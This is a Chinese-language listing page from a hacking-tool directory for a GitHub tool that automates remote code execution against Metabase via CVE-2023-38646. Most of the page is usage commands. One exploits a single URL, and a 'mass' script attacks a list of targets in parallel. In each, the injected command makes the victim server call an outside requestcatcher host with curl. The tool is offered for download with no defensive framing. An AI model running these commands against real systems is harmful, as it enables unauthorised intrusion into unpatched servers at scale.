Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-38646 — 用于 Metabase 漏洞利用的自动化工具,称为 CVE-2023-38646 | Kitploit
工具/GitHubGitHub/robotmikhro/cve-2023-38646
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubrobotmikhro/cve-2023-38646

CVE-2023-38646

用于 Metabase 漏洞利用的自动化工具,称为 CVE-2023-38646

查看仓库
27623年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-38646

针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息(POC、Dork)请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/

如何使用 single.py

CVE-2023-38646-Single Exploit

root@kitploit:~
python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint"

或

root@kitploit:~
python3 single.py -u http://127.0.0.1:8080 -c "curl sub.requestcatcher.com/some-endpoint"

如何使用 mass.py

CVE-2023-38646-Mass Exploit

root@kitploit:~
python3 mass.py -f target.txt -t 10 -c "curl sub.requestcatcher.com/some-endpoint" -o output.txt

或

root@kitploit:~
python3 mass.py --file=target.txt --threads=10 --command="curl sub.requestcatcher.com/some-endpoint" --output="output.txt"

参考 PoC

  • https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
  • https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
  • https://www.metabase.com/blog/security-advisory
  • 推特
下载工具